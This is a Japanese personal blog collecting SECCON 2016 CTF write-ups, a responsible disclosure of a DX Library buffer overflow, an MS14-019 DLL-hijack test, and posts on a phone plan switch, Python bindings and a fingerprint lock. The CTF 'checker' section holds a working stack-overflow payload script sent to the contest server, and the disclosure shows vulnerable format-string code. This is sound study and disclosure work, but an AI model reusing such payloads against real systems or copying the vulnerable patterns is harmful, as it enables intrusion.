SECON 2016 Online CTFに参加していた

@hiwwさんのお誘いにより、12月10日・11日とでSECON 2016 Online CTFにTeam Harekazeで参加していました。 チームで8問解き、1300 points獲得、順位は61/930という結果でした。

私が解いた問題はVigenere, Memory Analysis, Anti-Debugging, checkerの4問で、どれも簡単な問題ばかりで既にWrite-upが書き尽くされて今更な状況ですが、一応メモ代わりにWrite-upを書いてみたいと思います。 Harekazeの他の3問のWrite-upは@st98_氏が、昨日書いてくれました

冷めきりかけていたCTF熱を少し取り戻すことができたように思います。また、二日目はほとんど参加できなくて、チームの皆様には申し訳なかったです。

Harekazeの活動は今後も続いていくので、よろしくお願いします。

Vigenere (Crypto, 100)

ヴィジュネル暗号は知っていましたが、解くまでに約50分もかかってしまいました。 競技中に整理しないで書いたコードなのできれいではないです。

import hashlib 

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"

def dec(k,c):
    tmp2 = ''
    for i,x in enumerate(c):
        tmp = table[table.index(k[i%len(k)]):]
        tmp += table[:len(table)-len(tmp)]
        tmp2+= table[tmp.index(x)]
    return tmp2

def solve():
    k_part = 'VIGENERE'
    c = 'LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ'

    for i1 in table:
        for i2 in table:
            for i3 in table:
                for i4 in table:
                    k = k_part + i1 + i2 + i3 + i4
                    assert(len(k)==len('????????????'))
                    p = dec(k,c)
                    #print p
                    if hashlib.md5(p).hexdigest() == 'f528a6ab914c1ecf856a1d93103948fe':
                        return (p,k)

if __name__ == '__main__':
    p,k = solve()
    print "p:",p
    print "k:",k
c: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
k: VIGENERECODE

Memory Analysis (Forensics, 100)

Windows XPの物と思われるメモリダンプが与えられます。偽のsvchostがアクセスしてるサイトにflagがあるとのこと。

Hint2: Check the hosts file

とのことで、@st98_氏が素早くhostsを調査してくれました。

$ python vol.py -f forensic_100.raw filescan | grep hosts
Volatility Foundation Volatility Framework 2.5
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
$ python vol.py -f forensic_100.raw dumpfiles -Q 0x000000000217b748 -D . --name
$ strings file.None.0x819a3008.hosts.dat
# Copyright (c) 1993-1999 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
127.0.0.1       localhost
153.127.200.178    crattack.tistory.com

どう考えてもcrattack.tistory.comが怪しいのでstringsで力押し。

$ strings forensic_100.raw | grep ^http | grep crattack.tistory.com | sort | uniq
http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
http://crattack.tistory.com/favicon.ico
http://crattack.tistory.com/trackback/90W
http:crattack.tistory.com

怪しいData-Science-import-pandas-as-pdをあたるとビンゴだったというわけです。

$ curl -H "Host: crattack.tistory.com" http://153.127.200.178/entry/Data-Science-import-pandas-as-pd
SECCON{h3110_w3_h4ve_fun_w4rg4m3}

Hostヘッダは最初念のためつけていましたが、後からHostヘッダはなくてもflagが降ってくることを確認しました。

Anti-Debugging (Binary, 100)

Windowsのexe問題。Windows環境があれば、OllyDbgとIDAですぐ解けます。

  1. anti-debugが入る前(0x4013A3あたり)でbreak
  2. eipを復号処理 0x401663に飛ばす
  3. check(0x401737)あたりでbreak
  4. flagはスタックに書いてある
SECCON{check_Ascii85}

ちゃんとやるならパッチをあてるとかですかね。

checker (Exploit, 300)

300点に問題ですが、やけにsolvesの伸びが早いと思ってみてみると、SSPの実行ファイル名のアドレスを上書きするだけでした。出題ミスとのこと。

pwntoolsすら使わないという自分の不勉強さがにじみ出る解答です。また、他の方のWrite-upを見ると、"Thank you"のところまでわざわざ持ってくる必要はなかったですね。 というか私のWrite-upは"Thank you"を出すために"SECCON"の"SE"を"S\0"で上書きしてしまっていますw。

#python -c "print 'S'*129+'\n'+'A'*383+'\n'+'A'*382+'\n'+'A'*381+'\n'+'A'*380+'\n'+'A'*379+'\n'+'A'*378+'\n'+'A'*377+'\n'+'A'*376+'\xc2\x10\x60\x00\x00\n'+'yes\n'+'S\x00\n'"|./checker

from subprocess import Popen, PIPE

p = Popen(['nc', 'checker.pwn.seccon.jp', '14726'], stdin=PIPE, stdout=PIPE)
#p = Popen(['./checker'], stdin=PIPE, stdout=PIPE)

a='S'*129+'\n'
b='A'*383+'\n'+'A'*382+'\n'+'A'*381+'\n'+'A'*380+'\n'+'A'*379+'\n'+'A'*378+'\n'+'A'*377+'\n'+'A'*376+'\xc2\x10\x60\x00\x00\n' # 0x6010c2: flag+2
#b= 'A'*375+'\n'
c='yes\n'
d = 'S\n'
print p.stdout.readline(),
print p.stdout.read(7),
p.stdin.write(a)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(3),

p.stdin.write(b)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(3),

p.stdin.write(c)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(7),
print p.communicate(d)[0]
$ python2 solve.py
Hello! What is your name?
NAME :
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you  know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Oh, Really??
Please tell me the flag!
FLAG : Thank you, SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS!!
*** stack smashing detected ***: CCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated

DXライブラリのバッファオーバーフローの脆弱性が修正された

2015年11月、DXライブラリの書式指定描画関数におけるバッファオーバーフロー脆弱性IPAに報告しました。2015年12月29日に修正バージョンVer 3.16が公開され、JVNでも情報が公開されました(JVN#49476817)。 最悪の場合、任意のコードが実行されます。一定の条件を満たしているアプリケーションのみが影響を受けますが、DXライブラリを利用してアプリケーションを開発されている方は、念のため最新バージョンでビルドしなおすことをお勧めします。

私としてはソフトウェアの脆弱性IPAに報告するのは初めての経験なのですが、今後の参考のために、発見の経緯や気をつけたいことを記したいと思います。

脆弱性の内容

DXライブラリは、Windows向けのC++用ゲームライブラリです。DXライブラリ 管理人様の情報によると

 DrawFormatString や printfDx などの書式指定文字列を引数とする関数で、書式に基づいて生成される文字列の長さが 1023文字( 関数によっては 2047文字 )を超えるとバッファオーバーフローが発生します。
 スタック領域に対するメモリの不正なアクセスが発生してしまうので、引数として渡すデータを工夫することで任意のコードが実行できてしまいます。

と説明されています。具体的には以下のようなコードは脆弱性の影響を受けます。

char buf[4096];
/* (外部からbufに文字列を読み込むコード) */
DrawFormatString(0, 0, GetColor(255, 255, 255), "%s", buf);

これだけ見ると、『画面に描画するための文字列にそんなに大きなバッファを確保する訳がない』とか、『ライブラリの脆弱性というより2048文字以上処理できないという仕様であって、アプリケーション側の実装の問題では』と思われる方もいるかもしれません。しかし、DrawFormatStringのリファレンスにはそのようなことは書かれていませんし、下記のような実装がされているアプリケーションも十分考えられるため、DXライブラリの脆弱性として報告しました。

char buf[256];
/* (外部からbufに文字列を読み込むコード) */
DrawFormatString(0, 0, GetColor(255, 255, 255), buf);  // format string attackが可能
std::string buf;
/* (外部からbufに文字列を読み込むコード) */
DrawFormatString(0, 0, GetColor(255, 255, 255), "%s", buf.c_str());

具体的な名前は書きませんが、私は3つのフリーソフトでこの脆弱性が存在することを確認しました。

発見の経緯

2015年11月10日のことです。きっかけは、私が大学で所属している部活の部員が制作した音ゲーのテストプレイ中のことでした。非常に長い文字列を曲のタイトルに設定するとアプリケーションが異常終了することに気が付きました。 そのゲームは、DXライブラリを使って開発されており、異常終了の原因を調べているうちに、どうやらDrawFormatString関数の内部関数でバッファオーバーフローが発生していることがわかりました。

その日から実証コードと報告内容を作成し、10日後の11月20日に報告しました。

CL_vsprintf

JVNの解説に登場するCL_vsprintf()とは、名前から推測できるようにC言語の標準関数であるvsprintf()とほぼ同じ動作をするDXライブラリの内部関数です。DXライブラリの書式指定系関数はすべてこの関数を使って書式変換を行っています。vsprintf()は、書き込み先バッファのサイズをチェックしないため、バッファオーバーフローを引き起こしやすい関数の一つとして知られています。MSVCではvsprintf()を使用すると、この関数は安全ではないとして、コンパイラ警告 C4996が発生します。

複数のlibファイル

DXライブラリは、Windows 98を現在でもサポートしており、開発環境としてVisual C++ 6.0をサポートするために、Visual C++ 6.0でコンパイルされています*1。 このバージョンのVC++では、/GSや/SAFESEHといったコンパイラのセキュリティ機能はサポートされていません。DXライブラリは静的ライブラリであるため、アプリケーションのビルド時の/GSオプションの有無にかかわらず、stack canaryによるバッファオーバーランのチェックが行われません。このことは攻撃を容易にし、事態をより深刻にするように思います。

ただし、DXライブラリ Ver 3.14cより、Visual Studio 2012・2015でビルドされたライブラリが追加されており*2、/GSも有効になっています。 ソースコードのDxDataTypeWin.hを読むとわかるのですが、アプリケーションをビルドする時のVisual Studioのバージョンによってリンクされるlibファイルを切り替えるようになっています。Visual Studio 2010以下のMSVCでビルドすると、VC++6.0でコンパイルされたlibファイルとリンクされているため、注意が必要です。

実証コード

この脆弱性によって発生しうる脅威を説明するために、2種類のデモアプリケーションを作成しました。

  • ファイルから読み込んだ文字列を描画するアプリケーション
  • ネットワークから受信した文字列を描画するアプリケーション

どちらも本質的には同じなのですが、後者はリモートでの攻撃が可能なことを示すために(そのようなアプリケーションが実際に存在するかは別として)作成しました。

以下は、作成したデモアプリケーションの一つです。ファイルから文字列を読み込み、DrawFormatString()関数で描画します。

#include <Windows.h>
#include <fstream>
#include <string>
#include "DxLib.h"

#ifndef INPUT_FILE
#define INPUT_FILE "input.txt"
#endif

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
    std::ifstream ifs(INPUT_FILE);
    std::string buf;

    if (!ifs.fail()) {
        getline(ifs, buf);
        ifs.close();
    }

    SetUseDirectInputFlag(FALSE);   // デバッガの動作を軽くするため、入力処理にDirectInputを使用しない
    ChangeWindowMode(TRUE);

    if (DxLib_Init() == -1)
        return 0;

    ClearDrawScreen();
    DrawFormatString(0, 0, GetColor(255, 255, 255), "%s", buf.c_str());
    WaitKey();

    DxLib_End();
    return 0;
}

exploitは悪用可能なので公開しませんが、技術的に特に新しいことはしていません。 /GS有り、DEP有り、ASLR無し、SafeSEH無しなexeファイル向けにSEH overwrite+ROPのexploitを作成した程度です。

ユーザが気をつけたいこと

  • 特別な理由がない限りアプリケーションは最新版を使用する
  • 信頼できない入手先のセーブデータ、リプレイデータ、追加データを不用意に追加しない
  • ネットワーク対応のアプリケーション・ゲームで不審なサーバーに接続しない

脆弱性攻撃が行われる場合、pdfファイルやdocxファイルからマルウェアに感染することもあります。そのソフトウェアに脆弱性が存在する場合、追加ファイルの拡張子がexeでないから安全とは言えません。 一般的なことしか書いていませんが、未知の脆弱性に備えて、DXライブラリで開発されたアプリケーションに限らず心がけたいところです。

開発者が気をつけたいこと

  • [脆弱性の内容]に示したようなコードで書式文字列攻撃が可能な場合、この脆弱性の悪用が容易になります
  • コンパイラは最新版を使いましょう。万が一、脆弱性があっても/GS(バッファのセキュリティチェック)、/NXCOMPAT(DEP)、/SAFESEHや/DYNAMICBASE(ASLR)といった機能のおかげで攻撃か困難になります
  • ライブラリを過信しすぎない。std::stringはバッファオーバーフローしないと思っていると、思わぬ抜け穴があるものです

思うところ

管理人様は、少なくとも2008年にはDrawFormatStringがバッファオーバーフローすること自体は認識されていたようです*3。当時はそれが任意のコード実行につながると認識されていなかったのだと思います。 私も実際の攻撃手法を知ったのはここ2,3年のことです。

こんなブログ記事がありました( C言語簡単にクラッシュしすぎワロタw · DQNEO起業日記)。この方を名指ししたいわけではありませんが、この記事は小さなバッファに対してgets()を使うと簡単にクラッシュすることを指摘しています。 この指摘自体は正しいですが、バッファオーバーフローを単にクラッシュするだけと捕えているか、任意コードの実行につながると捕えているかの意識の差だと思いました。

セブンスポットにログインするともれなくメールアドレスが漏れる可能性がある

2015年2月6日追記: 本日もう一度確認したところ、登録情報の閲覧は不能となっており、表題の問題は解決されていました。

セブンスポットに接続してログインすると周囲の第三者がセッションを奪ってメールアドレス、年齢、性別の登録情報を閲覧できる可能性があります。パスワードの確認があるため、登録情報の変更・退会は不可能です。

追記とお詫び: コメントでご指摘を受けましたが、本来ならばセブンスポット側の対応がとられるまで伏せておくべき詳細な情報を掲載していました。該当部分を削除するとともにお詫びいたします。

ソフトバンクからIIJmioにMNPした話

2010年にソフトバンクと契約して以来、一度も契約を変更してきませんでした。ふと料金を見直してみると、3年間の学割も終了し、月々6,000円近くとなっています。そして世間では格安MVNOが流行っています。

幸いキャリアメールは実験にしか使っていなかったため、早い段階でMVNOへの移行は決定。IIJmioやOCNや楽天モバイル、BIGLOBEなどを検討しました。楽天モバイルは1,728円で高速通信が2.1GBついてくる点(他社は同価格帯で2GB)が、BIGLOBEはMVNOながらWi-Fiが利用でき、1,000円キャッシュバックキャンペーンもやっている点が良いなと思っていました。最終的にデータスイッチがあり、それを利用すれば月2GB以内に通信量を抑えられるであろうこと、IPv6対応(LTE端末持ってないが)が決め手となりIIJmioに決定しました。

追記: とか書いていながら、BIC SIMならIIJmioの特徴に加えてWi-Fiも使えることにはこれを書いた後から気づきました。

すぐにMNP予約番号を取得してIIJmioサイトから申し込むこともできますが、そうすると初期費用3,240円が掛かってしまいます。そこで「IIJ IIJmio SIM 音声通話 パック みおふぉん IM-B043」をAmazonにて2,418円で購入。音声契約なのでSIMカードは同封されていませんが、エントリーコードを入力することで初期費用なしで申し込み可能です。

余談ですが、翌日にAmazonの同ページを見ると29% OFF、翌々日(この記事書いてる日)に見ると31% OFFで2,250円になっていました(涙)。Amazonから200円クーポンを貰ったのでまあ良いかと。

f:id:jptomoya:20150118134505p:plain

1月16日の21時45分にポチって、翌朝9時12分に配達完了。配達まで11時間27分とは、ドラえもんの注文してから瞬時に品物が届く世界は着実に近づいていると感じます。

発送から配達完了まで

MNP予約番号申し込み

音声通話パックが届いたので早速、固定電話からMNPお問い合わせ窓口(0800-100-5533)に電話。まず音声ガイドに従って、MNP予約番号の手続きを進めます。オペレータに繋がる前に携帯電話番号と暗証番号による本人確認が行われます。

以下、担当者との会話うろ覚え。いたって丁寧でした。

担当者: 今回はMNPの転出でよろしいでしょうか。
: はい。
担当者: 今回、【電話番号】1回線の転出でよろしいでしょうか。
: はい。
担当者: お電話いただいているのは【僕の本名】様、ご本人でお間違いないですね。
: はい。
担当者: 今回転出先はドコモ、au、どちらになりますか。
: MVNOです。
担当者: よろしければ事業者をお聞かせ願いますでしょうか。
: IIJmioです。
担当者: よろしければ転出理由をお聞かせ願いますでしょうか。
: 安いので。まあ、値段ですね。
担当者: ありがとうございます。今回転出される場合、契約解除料 10,260円・事務手数料 2,160円、またIIJmioさんの方でも初期費用 3,240円がかかり、結構なご負担となってしまいますが、ソフトバンクに残っていただけるなら機種変更時にご利用いただける3万ポイントまたは、機種変更後の端末代金から24か月月々1,000円の割引をお付けすることができるのですが、ご検討いただけないでしょうか。
: もう転出を決めてしまったので。
担当者: さようでございますか。今回、ソフトバンクのグループ会社のY!mobileに変更していただける場合、通常発生する契約解除料、事務手数料を調整させていただくことができますが、ご検討いただけないでしょうか。
: 考えていないです。
担当者: さようでございますか。失礼いたしました。誠に残念ではございますが、お手続きさせていただきます。予約番号は携帯電話にショートメッセージでお送りさせていただきます。担当は○○がお受けいたしました。失礼いたします。

契約解除料や事務手数料の話をされても4か月もあれば元が取れますし、ポイントの話もiPhone 6発売時のMNPポイント等の情報から予想はしていたので冷静に拒否。

申し込みから回線停止まで

MNP予約番号を入手したら、IIJmioのサイトから申し込みます。申し込み開始から本人確認書類画像送信完了までは、免許証のスキャン画像が既に手元にあったこともあり、20分程でした。それから本人確認完了のメールまで3時間程。土曜日にもかかわらず対応が早いです。

1月17日 22時1分、「[IIJmio] MNP 転入による電話番号停止予定のお知らせ」という停止予告メールが届きます。翌日9時28分時点ではまだ使えました。

f:id:jptomoya:20150118133038p:plain

10時40分に確認したところ、3Gマークが消え、同49分までに圏外となりました。回線停止予告から約12時間40分で停止。

f:id:jptomoya:20150118132757p:plain f:id:jptomoya:20150118132813p:plain

同時にMy SoftBankを確認すると、ほとんどのメニュー項目がグレーアウトしています。

f:id:jptomoya:20150118133603p:plain

という訳で、この記事を書いている時点でSIMカードの到着待ちです。IIJによれば新しいSIMカードは、電話回線の停止後通常2~3日程度で届くとのことだそうです。

1月19日追記: 「[IIJmio] ready to start」という件名で19日 6:18に発送兼利用開始日連絡のメールが届きました。同日の12:38にSIMカードがヤマトで配達完了しました。発送自体は18日の18:45には行われていたようです。

MS14-019を今更テスト

https://technet.microsoft.com/library/security/ms14-019
いまさらですが、やったのでメモ。環境はVirtualBox上のWindows XPです。

CreateProcess()は.cmdや.batファイルを起動するときにcmd.exe /cから自動的に起動してくれる訳ですが、MS14-019はフォルダの探索順に問題があって作業ディレクトリにcmd.exeがあったらそっちが呼び出されちゃう問題らしい。こんなのが2014年まで残っていたという。

マルウェア(笑)を用意。"cmd.exe"という実行ファイルを出力するようにコンパイル

#include <stdio.h>

int main()
{
    puts("This is Malware.");
}

sc.cmdという名前でダミーのバッチファイルを保存。

@echo off

echo This is dummy.
pause

そのバッチファイル(sc.cmd)をCreateProcess()で呼び出しているこんなプログラムがあったとする(スクショではcp.exe)。

#include <windows.h>

int main()
{
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    char *cmdLine = "sc.cmd";

    CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

検証用のディレクトリがこんな構成

Q:\MS14-019>dir
 ドライブ Q のボリューム ラベルがありません。
 ボリューム シリアル番号は AA08-E090 です

 Q:\MS14-019 のディレクトリ

2014/06/30  11:26    <DIR>          .
2014/06/30  11:26    <DIR>          ..
2014/06/30  11:32            68,096 cp.exe
2014/06/29  15:29                41 sc.cmd
2014/06/30  11:32            69,632 cmd.exe
    (以下略)


パッチ

f:id:jptomoya:20140630115403p:plain
パッチ後
f:id:jptomoya:20140630115410p:plain

PythonでDXライブラリを利用してみた

後でググる既にやっている人がおられましたが、これ結局移植しちゃってますよね。
今回はDXライブラリの作者から配布されているC#用パッケージを素で利用するだけというお手軽版です(新たにライブラリとか作らなくてもDxLibのC#用パッケージとPythonさえあれば動く)。

通常のDXライブラリは.lib形式となっているのでPythonから直で利用できません。そこでDXライブラリの「VisualC# 用パッケージ」を見てみると、"DxDLL.cs", "DxLib.dll"...などが入っています。
PythonからDLLの関数は簡単に呼び出せるので、Python 3.4.0、DXライブラリ Ver3.12a、64bit環境で検証。DxLib_x64.dllをPythonスクリプトと同じフォルダにおいてやります。

  • DxLib_text.py
import sys
from ctypes import *

if __name__ == '__main__':
    dxlib = cdll.DxLib_x64

    dxlib.dx_ChangeWindowMode(1)  # TRUE = 1
    if dxlib.dx_DxLib_Init() == -1:
        sys.exit()

    dxlib.dx_SetDrawScreen(-2)  # DX_SCREEN_BACK = -2
    while dxlib.dx_ProcessMessage() == 0:
        dxlib.dx_ClearDrawScreen()

        dxlib.dx_DrawBox(100, 100, 200, 200,
            dxlib.dx_GetColor(255, 255, 255), 0)  # FALSE = 0

        dxlib.dx_ScreenFlip()

    dxlib.dx_DxLib_End()

動きました。さらに拡張子を.pywにしてやれば、コンソール画面が出ないのでアプリケーションっぽくなります。
f:id:jptomoya:20140630104518p:plain

指紋認証式電気錠の製作(2)

前回作ったものは、半ば試作品のつもりで適当に作ったのですが、いろいろと欠点が見つかりました。前回の反省を活かして再設計しました。

f:id:jptomoya:20140208161003j:plain

改良その1:マイコンを変更

前回はATmega168を使用しましたが、プログラムを実際に書いてみるとバイナリは2100バイト強となりATmega168の持つ16KBのプログラム領域はかなり余っています。またポートも結構余ってしまいました。そこでマイコンをATmega168からATtiny4313に変更しました。ATtiny4313は4KBのコード領域を持ちます。ピン数が28ピンから20ピンになりますので省スペース化が図れます。

改良その2:水晶を省略

実はUARTを扱うのは今回が初めてだったので、1号機ではとりあえず精度と速度を求めて水晶を載せましたが、結果的に2つのポートを失う代償としての利点がありませんでした。指紋のRAWデータを流すなら別ですが、短いコマンドのやりとりですのでデフォルトの9600bpsでも十分なレスポンスを得られますし、内蔵発振でも十分安定した通信が可能と判断しました。これにより水晶とその周りにつける2つのコンデンサの分スペースが空きますので、省スペース化にも貢献しています。

改良その3:電源周りを見直した

そもそも3端子レギュレータを使用しているのは、ソレノイドを動作させるために乾電池4本使用して電圧が6Vとなるのに対してAVRの最大動作電圧が5.5Vというのが主な理由です。1号機で使った3端子レギュレータ(μPC2933B)は、とりあえず出力が3.3Vのものを何も考えずに選びました。無負荷時でも2mAほど電流を消費するということに後から気づきました。

AVRのパワーダウンモードは、外部割込みとウォッチドッグ機能を除いてクロックをすべて停止する機能です。これを利用することで、2μA以下と電池をほとんど消費しない状態(≒電源オフ)が実現できます。切り替え式の電源スイッチを省略できますし、プログラム的にオートパワーオフが実現できるため電源の切り忘れも防止できます。パワーダウンを利用する時は、周辺回路もこのμAレベルの省電力となるように設計しないと意味がありません。前回実際に作ってわかったことですが、指紋スキャンモジュールの消費電流がLEDを消灯しても数十mAはあったので、モジュール自体をトランジスタでスイッチすることにしました。かなり大まかな計算ですが、アルカリ電池の容量を2000mAh、使用推奨期限を10年と考えて10年以上持つようにしたいとすると、消費電流は2000 / (10 * 365 * 24) ≒ 0.0228 [mA]となりますので、合計で20μA以下には抑えたいものです。

2号機を考え始めた当初は、3端子レギュレータを廃止してAVRのVccの前に適当なダイオードを2個直列に繋ぐことで5.5V以下まで降圧しようと考えていました。しかし、この方法ではAVRの消費電流が大きく変化するとダイオードの電圧降下も変化してしまいます。実験の結果、パワーダウン時と動作時で電流が数μA~数mAを行き来して電圧が大きく変わってしまいました。

結局、低損失CMOSタイプの3端子レギュレータ(S-812C33AY-B-G)を採用しました。この3端子レギュレータの無負荷時の損失は1.8μA以下となります。これでAVRのパワーダウン時の最大消費電流である2μA、2SK2796のIDSSの最大値10μA、2SC2120のICBOの最大値0.1μAを足しても最大で13.9μAとなります。実測では1.2μAを実現しました。